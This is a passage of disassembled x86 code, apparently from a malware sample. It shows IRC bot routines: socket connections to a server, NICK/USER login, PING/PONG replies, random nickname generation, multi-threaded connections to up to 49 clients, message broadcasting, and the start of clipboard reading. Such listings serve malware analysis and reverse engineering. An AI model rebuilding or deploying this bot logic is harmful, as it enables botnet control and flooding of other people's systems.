jbe short loc_4176A5
loc_41766D: ; CODE XREF: sub_4175EA+B3j
cmp [ebp+var_8], 0
jz short loc_4176C2
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417691
cmp byte ptr [ecx+1], 0
jnz short loc_417691
cmp dl, 20h
jnb short loc_41768B
and [ebp+var_8], 0
loc_41768B: ; CODE XREF: sub_4175EA+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417695
loc_417691: ; CODE XREF: sub_4175EA+90j
; sub_4175EA+96j
and [ebp+var_8], 0
loc_417695: ; CODE XREF: sub_4175EA+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_41766D
cmp [ebp+var_8], 0
jz short loc_4176C2
loc_4176A5: ; CODE XREF: sub_4175EA+81j
push [ebp+Dst]
push offset word_4D34C0
push ebx
push [ebp+arg_0]
push offset asc_438244 ; "-"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 1Ch
jmp short loc_4176DA
; ---------------------------------------------------------------------------
loc_4176C2: ; CODE XREF: sub_4175EA+87j
; sub_4175EA+B9j
push offset word_4D34C0
push ebx
push [ebp+arg_0]
push offset asc_438294 ; "-"
push edi ; Count
push esi ; Dest
call __snprintf
add esp, 18h
loc_4176DA: ; CODE XREF: sub_4175EA+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_417630
push [ebp+Dst]
push 0
call ds:dword_427148 ; GetProcessHeap
push eax
call ds:dword_427140 ; RtlFreeHeap
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_4175EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417703 proc near ; CODE XREF: sub_4178BB+2Fp
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CB6D4 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_41777F
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+arg_4]
call dword_4CB654 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CB694 ; inet_addr
cmp eax, esi
jnz short loc_417764
push [ebp+arg_0]
call dword_4CB6D8 ; gethostbyname
test eax, eax
jz short loc_41777F
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417764: ; CODE XREF: sub_417703+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
call dword_4CB5FC ; connect
cmp eax, esi
jnz short loc_417783
push edi
call dword_4CB6EC ; closesocket
loc_41777F: ; CODE XREF: sub_417703+1Bj
; sub_417703+58j
mov eax, esi
jmp short loc_417785
; ---------------------------------------------------------------------------
loc_417783: ; CODE XREF: sub_417703+73j
mov eax, edi
loc_417785: ; CODE XREF: sub_417703+7Ej
pop edi
pop esi
leave
retn
sub_417703 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_417789(char *Dest)
sub_417789 proc near ; CODE XREF: sub_401ACD+3295p
; sub_401ACD+3301p ...
Dest = dword ptr 4
push esi
push edi
mov edi, [esp+8+Dest]
push offset asc_42A0A0 ; "\n"
push edi ; Dest
call _strcat
pop ecx
mov esi, offset dword_4D46EC
pop ecx
loc_4177A1: ; CODE XREF: sub_417789+42j
cmp dword ptr [esi-4], 1
jnz short loc_4177BF
cmp dword ptr [esi], 0
jbe short loc_4177BF
push 0
push edi ; Str
call _strlen
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4CB6A4 ; send
loc_4177BF: ; CODE XREF: sub_417789+1Cj
; sub_417789+21j
add esi, 210h
cmp esi, offset byte_4DAE0C
jl short loc_4177A1
pop edi
pop esi
retn
sub_417789 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4177D0(char *Str,int)
sub_4177D0 proc near ; CODE XREF: sub_4178BB+155p
Dst = byte ptr -420h
Dest = byte ptr -220h
Str2 = dword ptr -20h
var_1C = dword ptr -1Ch
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_42D124 ; " "
push edi
push esi ; Delim
push [ebp+Str] ; Str
call _strtok
pop ecx
mov [ebp+Str2], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_4177F5: ; CODE XREF: sub_4177D0+35j
push esi ; Delim
push 0 ; Str
call _strtok
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_4177F5
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+Str2], edi
jnz short loc_41781D
cmp esi, edi
jnz short loc_41781D
push 1
pop eax
jmp loc_4178B6
; ---------------------------------------------------------------------------
loc_41781D: ; CODE XREF: sub_4177D0+3Fj
; sub_4177D0+43j
push [ebp+Str2] ; Str2
push offset aPing ; "PING"
call _strcmp
pop ecx
pop ecx
test eax, eax
push esi ; Str2
jnz short loc_417838
push offset aPongS_0 ; "PONG %s\n"
jmp short loc_417886
; ---------------------------------------------------------------------------
loc_417838: ; CODE XREF: sub_4177D0+5Fj
push offset a433 ; "433"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_417859
push esi ; Str2
push offset a432 ; "432"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4178B4
loc_417859: ; CODE XREF: sub_4177D0+76j
push 200h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417ADE
add esp, 10h
lea eax, [ebp+Dst]
push eax
push offset aNickS_1 ; "NICK %s\n"
loc_417886: ; CODE XREF: sub_4177D0+66j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
lea eax, [ebp+Dest]
push edi
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+arg_4]
call dword_4CB6A4 ; send
loc_4178B4: ; CODE XREF: sub_4177D0+87j
xor eax, eax
loc_4178B6: ; CODE XREF: sub_4177D0+48j
pop edi
pop esi
pop ebx
leave
retn
sub_4177D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4178BB proc near ; DATA XREF: sub_417A60+61o
Dest = byte ptr -4008h
var_3008 = byte ptr -3008h
Dst = byte ptr -2008h
Str = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call __alloca_probe
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4D46F4[esi]
mov dword_4D46E8[esi], edi
push dword_4D48F4[esi]
push eax
call sub_417703
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4D46EC[esi], eax
jb loc_417A40
mov edi, 1000h
lea eax, [ebp+Dst]
push edi ; Size
push ebx ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Dst]
push eax ; Dest
call sub_417ADE
lea eax, [ebp+Dest]
push eax ; Dest
call sub_417ADE
lea eax, [ebp+var_3008]
push eax ; Dest
call sub_417ADE
add esp, 18h
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Str]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax ; Dest
call _sprintf
add esp, 14h
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push dword_4D46EC[esi]
call dword_4CB6A4 ; send
push edi ; Size
lea eax, [ebp+Str]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_417997: ; CODE XREF: sub_4178BB+111j
; sub_4178BB+180j
push edi ; Size
lea eax, [ebp+Str]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Str]
push ebx
push edi
push eax
push dword_4D46EC[esi]
call dword_4CB66C ; recv
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417A40
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417997
loc_4179CE: ; CODE XREF: sub_4178BB+17Ej
mov al, [ebp+eax+Str]
cmp al, 0Dh
jz short loc_4179F5
cmp al, 0Ah
jz short loc_4179F5
cmp [ebp+arg_0], 0FA0h
jz short loc_4179F5
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+Dst], al
jmp short loc_417A2F
; ---------------------------------------------------------------------------
loc_4179F5: ; CODE XREF: sub_4178BB+11Cj
; sub_4178BB+120j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417A2F
push dword_4D46EC[esi] ; int
mov [ebp+eax+Dst], bl
lea eax, [ebp+Dst]
push eax ; Str
call sub_4177D0
pop ecx
test eax, eax
pop ecx
ja short loc_417A40
push edi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417A2F: ; CODE XREF: sub_4178BB+138j
; sub_4178BB+13Fj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_4179CE
jmp loc_417997
; ---------------------------------------------------------------------------
loc_417A40: ; CODE XREF: sub_4178BB+40j
; sub_4178BB+107j ...
mov dword_4D46E8[esi], ebx
mov esi, dword_4D46EC[esi]
cmp esi, ebx
jbe short loc_417A57
push esi
call dword_4CB6EC ; closesocket
loc_417A57: ; CODE XREF: sub_4178BB+193j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_4178BB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417A60(char *Source,int,int)
sub_417A60 proc near ; CODE XREF: sub_401ACD+31E2p
var_8 = byte ptr -8
var_4 = dword ptr -4
Source = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417AD9
loc_417A72: ; CODE XREF: sub_417A60+77j
xor edi, edi
mov eax, offset dword_4D46E8
loc_417A79: ; CODE XREF: sub_417A60+28j
cmp [eax], ebx
jz short loc_417A8A
add eax, 210h
inc edi
cmp eax, offset dword_4DAE08
jl short loc_417A79
loc_417A8A: ; CODE XREF: sub_417A60+1Bj
cmp edi, 31h
jz short loc_417AD9
mov esi, edi
push [ebp+Source] ; Source
imul esi, 210h
lea eax, dword_4D46F4[esi]
push eax ; Dest
call _strcpy
mov eax, [ebp+arg_4]
pop ecx
mov dword_4D48F4[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4D46E8[esi], 1
push eax
push ebx
push edi
push offset sub_4178BB
push ebx
push ebx
call ds:dword_42707C ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417A72
loc_417AD9: ; CODE XREF: sub_417A60+10j
; sub_417A60+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417A60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417ADE(char *Dest)
sub_417ADE proc near ; CODE XREF: sub_401ACD+374Ep
; sub_401ACD+3794p ...
Source = byte ptr -40h
var_2D = byte ptr -2Dh
Dst = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
Count = dword ptr -0Ch
var_4 = dword ptr -4
Dest = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
call _rand
mov [ebp+Count], eax
fild [ebp+Count]
fmul ds:dbl_4276F0
call __ftol
cmp eax, 1
jnz short loc_417B28
call _rand
call _rand
push 66h
cdq
pop ecx
idiv ecx
push off_4385E8[edx*4]
jmp short loc_417B41
; ---------------------------------------------------------------------------
loc_417B28: ; CODE XREF: sub_417ADE+2Fj
call _rand
call _rand
cdq
mov ecx, 0C0h
idiv ecx
push off_4382E8[edx*4] ; Source
loc_417B41: ; CODE XREF: sub_417ADE+48j
lea eax, [ebp+Dst]
push eax ; Dest
call _strcpy
pop ecx
lea eax, [ebp+Dst]
pop ecx
push ebx
push esi
push edi
push eax ; Str
call _strlen
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+Count], eax
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276E8
call __ftol
mov ebx, eax
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul ds:dbl_4276E0
call __ftol
cmp esi, 2
mov edi, offset a__1 ; "-|`_\\{[]}"
jle short loc_417BB4
cmp esi, 3
jnz short loc_417BAB
cmp ebx, 1
jz short loc_417BB4
loc_417BAB: ; CODE XREF: sub_417ADE+C6j
cmp eax, 1
jnz loc_417C6E
loc_417BB4: ; CODE XREF: sub_417ADE+C1j
; sub_417ADE+CBj
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276D8
call __ftol
push off_4385E8[eax*4] ; Source
lea eax, [ebp+Source]
push eax ; Dest
call _strcpy
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+Dst]
push eax ; Val
push edi ; Str
call _strchr
add esp, 10h
test eax, eax
jnz short loc_417C5B
movsx eax, [ebp+Source]
push eax ; Val
push edi ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jnz short loc_417C5B
call _rand
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4276E0
call __ftol
cmp eax, 1
jnz short loc_417C5B
push edi ; Str
call _strlen
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul ds:dbl_4276E0
call __ftol
mov al, byte ptr a__1[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_417C5B: ; CODE XREF: sub_417ADE+111j
; sub_417ADE+122j ...
push [ebp+Count] ; Count
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dst]
push eax ; Dest
call _strncat
add esp, 0Ch
loc_417C6E: ; CODE XREF: sub_417ADE+D0j
lea eax, [ebp+Dst]
push eax ; Str
call _strlen
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+Dst]
push eax ; C
mov [ebp+var_4], esi
call _isdigit
pop ecx
test eax, eax
pop ecx
jnz loc_417ED6
and [ebp+Count], eax
movsx eax, byte ptr [ebx-1]
push eax ; Val
push edi ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jnz loc_417DCD
call _rand
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4276E0
call __ftol
cmp esi, 3
jz short loc_417CDC
cmp eax, 1
jnz loc_417DCD
loc_417CDC: ; CODE XREF: sub_417ADE+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_417D1E
push edi ; Str
call _strlen
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul ds:dbl_4276E0
call __ftol
mov al, byte ptr a__1[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_417D3A
; ---------------------------------------------------------------------------
loc_417D1E: ; CODE XREF: sub_417ADE+207j
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276D0
call __ftol
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_417D3A: ; CODE XREF: sub_417ADE+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+Count], ebx
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276C8
call __ftol
cmp esi, 3
jz short loc_417D63
cmp eax, ebx
jnz short loc_417DCD
loc_417D63: ; CODE XREF: sub_417ADE+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_417DA8
push edi ; Str
call _strlen
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul ds:dbl_4276E0
call __ftol
mov al, byte ptr a__1[eax] ; "-|`_\\{[]}"
mov [ebp+esi+Dst], al
jmp short loc_417DC6
; ---------------------------------------------------------------------------
loc_417DA8: ; CODE XREF: sub_417ADE+28Fj
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276D0
call __ftol
mov cl, 41h
sub cl, al
mov [ebp+esi+Dst], cl
loc_417DC6: ; CODE XREF: sub_417ADE+2C8j
inc esi
mov [ebp+Count], ebx
mov [ebp+var_4], esi
loc_417DCD: ; CODE XREF: sub_417ADE+1C9j
; sub_417ADE+1F8j ...
cmp esi, 6
jge loc_417E56
cmp esi, 5
jge short loc_417DEE
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276E8
jmp short loc_417E0C
; ---------------------------------------------------------------------------
loc_417DEE: ; CODE XREF: sub_417ADE+2FBj
call _rand
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4276E0
loc_417E0C: ; CODE XREF: sub_417ADE+30Ej
call __ftol
test eax, eax
jnz short loc_417E2F
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276C0
call __ftol
mov cl, 30h
jmp short loc_417E4C
; ---------------------------------------------------------------------------
loc_417E2F: ; CODE XREF: sub_417ADE+335j
cmp eax, 1
jnz short loc_417E56
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276D0
call __ftol
mov cl, 41h
loc_417E4C: ; CODE XREF: sub_417ADE+34Fj
sub cl, al
mov [ebp+esi+Dst], cl
inc esi
mov [ebp+var_4], esi
loc_417E56: ; CODE XREF: sub_417ADE+2F2j
; sub_417ADE+354j
cmp [ebp+Count], 2
jge short loc_417ED6
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul ds:dbl_4276E0
call __ftol
cmp eax, 1
jnz short loc_417ED6
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276C0
call __ftol
mov cl, 30h
sub cl, al
mov [ebp+esi+Dst], cl
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276B8
call __ftol
cmp eax, 1
jnz short loc_417ED6
cmp [ebp+Count], eax
jge short loc_417ED6
call _rand
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4276B0
call __ftol
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_417ED6: ; CODE XREF: sub_417ADE+1B1j
; sub_417ADE+37Cj ...
lea eax, [ebp+Dst]
push 14h ; Count
push eax ; Source
push [ebp+Dest] ; Dest
call _strncpy
mov eax, [ebp+Dest]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417ADE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417EEF(char *Src,char *SubStr,char *Source)
sub_417EEF proc near ; CODE XREF: sub_401ACD+BECp
; sub_401ACD+C29p ...
Src = dword ptr 8
SubStr = dword ptr 0Ch
Source = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+Src]
xor esi, esi
cmp edi, esi
jz short loc_417F7A
mov eax, [ebp+SubStr]
cmp eax, esi
jz short loc_417F7A
cmp [ebp+Source], esi
jz short loc_417F7A
cmp byte ptr [eax], 0
jz short loc_417F7A
push ebx
push edi ; Src
call __strdup
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_417F75
push [ebp+SubStr] ; SubStr
push edi ; Str
call _strstr
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_417F6E
sub eax, edi
push eax ; Count
push edi ; Source
push ebx ; Dest
call _strncpy
push [ebp+Source] ; Str
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call _strlen
push eax ; Count
push [ebp+Source] ; Source
push ebx ; Dest
call _strncat
push [ebp+SubStr] ; Str
call _strlen
add eax, esi
push eax ; Source
push ebx ; Dest
call _strcat
push ebx ; Source
push edi ; Dest
call _strcpy
add esp, 30h
mov esi, edi
loc_417F6E: ; CODE XREF: sub_417EEF+3Cj
push ebx
call sub_41B0B1
pop ecx
loc_417F75: ; CODE XREF: sub_417EEF+2Bj
mov eax, esi
pop ebx
jmp short loc_417F7C
; ---------------------------------------------------------------------------
loc_417F7A: ; CODE XREF: sub_417EEF+Cj
; sub_417EEF+13j ...
xor eax, eax
loc_417F7C: ; CODE XREF: sub_417EEF+89j
pop edi
pop esi
pop ebp
retn
sub_417EEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417F80(char *Str,int)
sub_417F80 proc near ; CODE XREF: sub_401955+E9p
; sub_4101FD+F4p
Dst = dword ptr -7D0h
var_7CC = byte ptr -7CCh
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
mov esi, [ebp+Str]
push esi ; Str
call _strlen
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_417FB6
or eax, 0FFFFFFFFh
jmp short loc_418029
; ---------------------------------------------------------------------------
loc_417FB6: ; CODE XREF: sub_417F80+2Fj
xor ecx, ecx
mov [ebp+Dst], esi
test eax, eax
jle short loc_417FD8
loc_417FC2: ; CODE XREF: sub_417F80+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_417FCF
cmp dl, 0Dh
jnz short loc_417FD3
loc_417FCF: ; CODE XREF: sub_417F80+48j
and byte ptr [ecx+esi], 0
loc_417FD3: ; CODE XREF: sub_417F80+4Dj
inc ecx
cmp ecx, eax
jl short loc_417FC2
loc_417FD8: ; CODE XREF: sub_417F80+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418009
lea edi, [ebp+var_7CC]
loc_417FE5: ; CODE XREF: sub_417F80+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418004
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418004
cmp ebx, 1F4h
jge short loc_418009
mov [edi], ecx
inc ebx
add edi, 4
loc_418004: ; CODE XREF: sub_417F80+69j
; sub_417F80+74j
inc edx
cmp edx, eax
jl short loc_417FE5
loc_418009: ; CODE XREF: sub_417F80+5Dj
; sub_417F80+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418027
lea eax, [ebp+Dst]
push 7D0h ; Size
push eax ; Src
push [ebp+arg_4] ; Dst
call _memcpy
add esp, 0Ch
loc_418027: ; CODE XREF: sub_417F80+8Ej
mov eax, ebx
loc_418029: ; CODE XREF: sub_417F80+34j
pop esi
pop ebx
leave
retn
sub_417F80 endp
; =============== S U B R O U T I N E =======================================
sub_41802D proc near ; CODE XREF: sub_418087+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_418066
push ebx
mov ebx, edi
loc_41804A: ; CODE XREF: sub_41802D+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_418069
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_41804A
pop ebx
loc_418066: ; CODE XREF: sub_41802D+18j
pop edi
pop esi
retn
sub_41802D endp
; =============== S U B R O U T I N E =======================================
sub_418069 proc near ; CODE XREF: sub_41802D+25p
; sub_418087+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax ; C
call _tolower ; _tolower
cmp al, 61h
pop ecx
jl short loc_418084
cmp al, 7Ah
jg short loc_418084
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_418084: ; CODE XREF: sub_418069+Ej
; sub_418069+12j
xor eax, eax
retn
sub_418069 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_418087(char *Str,int)
sub_418087 proc near ; CODE XREF: sub_41528E+A0p
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call __alloca_probe
push ebx
push esi
push edi
push [ebp+Str] ; Str
call _strlen
push [ebp+arg_4] ; Str
mov [ebp+var_4], eax
call _strlen
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_41802D
add esp, 14h
dec esi
mov edi, esi
loc_4180C5: ; CODE XREF: sub_418087+B6j
test esi, esi
jle short loc_418143
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax ; C
call _tolower ; _tolower
mov ebx, eax
mov eax, [ebp+Str]
movsx eax, byte ptr [edi+eax]
push eax ; C
call _tolower ; _tolower
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41813B
loc_4180EB: ; CODE XREF: sub_418087+B2j
mov ebx, [ebp+Str]
mov al, [edi+ebx]
push eax
call sub_418069
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_41810C
mov eax, ecx
loc_41810C: ; CODE XREF: sub_418087+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41813F
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax ; C
call _tolower ; _tolower
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax ; C
mov [ebp+var_8], edx
call _tolower ; _tolower
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_4180EB
loc_41813B: ; CODE XREF: sub_418087+62j
dec edi
dec esi
jmp short loc_4180C5
; ---------------------------------------------------------------------------
loc_41813F: ; CODE XREF: sub_418087+8Aj
xor eax, eax
jmp short loc_418148
; ---------------------------------------------------------------------------
loc_418143: ; CODE XREF: sub_418087+40j
mov eax, [ebp+Str]
add eax, edi
loc_418148: ; CODE XREF: sub_418087+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_418087 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41814D proc near ; CODE XREF: sub_401ACD+67A4p
; sub_401ACD+789Fp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_42708C ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call ds:dword_427158 ; FormatMessageA
lea eax, [ebp+var_100]
loc_418186: ; CODE XREF: sub_41814D+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_418192
cmp cl, 9
jnz short loc_418195
loc_418192: ; CODE XREF: sub_41814D+3Ej
inc eax
jmp short loc_418186
; ---------------------------------------------------------------------------
loc_418195: ; CODE XREF: sub_41814D+43j
; sub_41814D+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4181AF
mov cl, [eax]
cmp cl, 2Eh
jz short loc_418195
cmp cl, 21h
jl short loc_418195
loc_4181AF: ; CODE XREF: sub_41814D+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset byte_4DAE0C
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h ; Count
push esi ; Dest
call __snprintf
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_41814D endp
; =============== S U B R O U T I N E =======================================
sub_4181D7 proc near ; CODE XREF: sub_401ACD+24CBp
push esi
push 0
call dword_4CB624 ; OpenClipboard
test eax, eax
jz short loc_41820E
push 1
call dword_4CB644 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_41820E
